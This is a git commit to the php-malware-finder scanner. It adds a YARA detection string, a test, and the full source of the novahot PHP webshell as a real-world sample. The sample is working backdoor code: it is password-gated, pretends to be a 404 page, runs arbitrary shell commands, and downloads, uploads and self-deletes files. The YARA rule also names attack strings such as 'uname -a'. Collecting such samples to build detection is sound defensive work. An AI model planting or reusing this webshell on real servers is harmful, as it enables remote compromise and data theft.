summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorjvoisin2016-12-01 13:26:09 +0100
committerjvoisin2016-12-01 13:27:22 +0100
commite627e456cf20ed382818048e7781f0253a0e0c6b (patch)
tree3ee7b9939883484e5be27e901c878c31980ab184
parentaf0c39a3f7d665ff3f545110296383ac96c5ad59 (diff)
Detect [novahot]( https://github.com/chrisallenlane/novahot )
Closes #37
-rw-r--r--php-malware-finder/common.yar1
-rw-r--r--php-malware-finder/samples/real/novahot.php130
-rwxr-xr-xphp-malware-finder/tests.sh1
3 files changed, 132 insertions, 0 deletions
diff --git a/php-malware-finder/common.yar b/php-malware-finder/common.yar
index b47fb69..bde83c7 100644
--- a/php-malware-finder/common.yar
+++ b/php-malware-finder/common.yar
@@ -126,6 +126,7 @@ rule DodgyStrings
126 $ = "slowloris" fullword nocase 126 $ = "slowloris" fullword nocase
127 $ = "suhosin.executor.func.blacklist" 127 $ = "suhosin.executor.func.blacklist"
128 $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. 128 $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell.
129 $ = /trojan (payload)?/
129 $ = "uname -a" fullword 130 $ = "uname -a" fullword
130 $ = "visbot" nocase fullword 131 $ = "visbot" nocase fullword
131 $ = "warez" fullword nocase 132 $ = "warez" fullword nocase
diff --git a/php-malware-finder/samples/real/novahot.php b/php-malware-finder/samples/real/novahot.php
new file mode 100644
index 0000000..a330580
--- /dev/null
+++ b/php-malware-finder/samples/real/novahot.php
@@ -0,0 +1,130 @@
1<?php
2
3# Tested on PHP 5.4.45 on Debian Wheezy.
4#
5# To test this trojan locally, run the following in the directory containing
6# this file:
7# php -S localhost:<port>
8
9# TODO: Change this password. Don't leave the default!
10define('PASSWORD', 'the-password');
11
12# Override the default error handling to:
13# 1. Bludgeon PHP `throw`-ing rather than logging errors
14# 2. Keep noise out of the error logs
15set_error_handler('warning_handler', E_WARNING);
16function warning_handler($errno, $errstr) {
17 throw new ErrorException($errstr);
18}
19
20# get the POSTed JSON input
21$post = json_decode(file_get_contents('php://input'), true);
22$cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd();
23
24# feign non-existence if the authentication is invalid
25if (!isset($post['auth']) || $post['auth'] !== PASSWORD) {
26 header('HTTP/1.0 404 Not Found');
27 die();
28}
29
30# return JSON to the client
31header('content-type: application/json');
32
33# if `cmd` is a trojan payload, execute it
34if (function_exists($post['cmd'])) {
35 $post['cmd']($cwd, $post['args']);
36}
37
38# otherwise, execute a shell command
39else {
40 $output = [];
41
42 # execute the command
43 $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd";
44 exec($cmd, $output);
45 $cwd = array_pop($output);
46
47 $response = [
48 'stdout' => $output,
49 'stderr' => [],
50 'cwd' => $cwd,
51 ];
52
53 die(json_encode($response));
54}
55
56
57# File-download payload
58function payload_download ($cwd, $args) {
59
60 # cd to the trojan's cwd
61 chdir($cwd);
62
63 # open the file as binary, and base64-encode its contents
64 try {
65 $stdout = base64_encode(file_get_contents($args['file']));
66 $stderr = [];
67 }
68
69 # notify the client on failure
70 catch (ErrorException $e) {
71 $stdout = [];
72 $stderr = [ 'Could not download file.', $e->getMessage() ];
73 }
74
75 die(json_encode([
76 'stdout' => $stdout,
77 'stderr' => $stderr,
78 'cwd' => $cwd,
79 ]));
80}
81
82# File-upload payload
83function payload_upload ($cwd, $args) {
84
85 # cd to the trojan's cwd
86 chdir($cwd);
87
88 # base64-decode the uploaded bytes, and write them to a file
89 try {
90 file_put_contents( $args['dst'], base64_decode($args['data']));
91 $stderr = [];
92 $stdout = [ "File saved to {$args['dst']}." ];
93 }
94
95 # notify the client on failure
96 catch (ErrorException $e) {
97 $stdout = [];
98 $stderr = [ 'Could not save file.', $e->getMessage() ];
99 }
100
101 die(json_encode([
102 'stdout' => $stdout,
103 'stderr' => $stderr,
104 'cwd' => $cwd,
105 ]));
106}
107
108# Trojan autodestruct
109function payload_autodestruct ($cwd, $args) {
110
111 # attempt to delete the trojan
112 try {
113
114 unlink(__FILE__);
115 $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ];
116 $stderr = [];
117 }
118
119 # notify the client on failure
120 catch (ErrorException $e) {
121 $stdout = [];
122 $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.'];
123 }
124
125 die(json_encode([
126 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ],
127 'stderr' => [],
128 'cwd' => $cwd,
129 ]));
130}
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh
index 6928e65..b9da203 100755
--- a/php-malware-finder/tests.sh
+++ b/php-malware-finder/tests.sh
@@ -90,6 +90,7 @@ run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\]("
90 90
91# real 91# real
92run_test real/sucuri_2014_04.php '0x67:$execution3:' 92run_test real/sucuri_2014_04.php '0x67:$execution3:'
93run_test real/novahot.php 'DodgyStrings'
93 94
94# Asp files 95# Asp files
95run_test_asp classic/cmdasp.asp 'DodgyStrings' 96run_test_asp classic/cmdasp.asp 'DodgyStrings'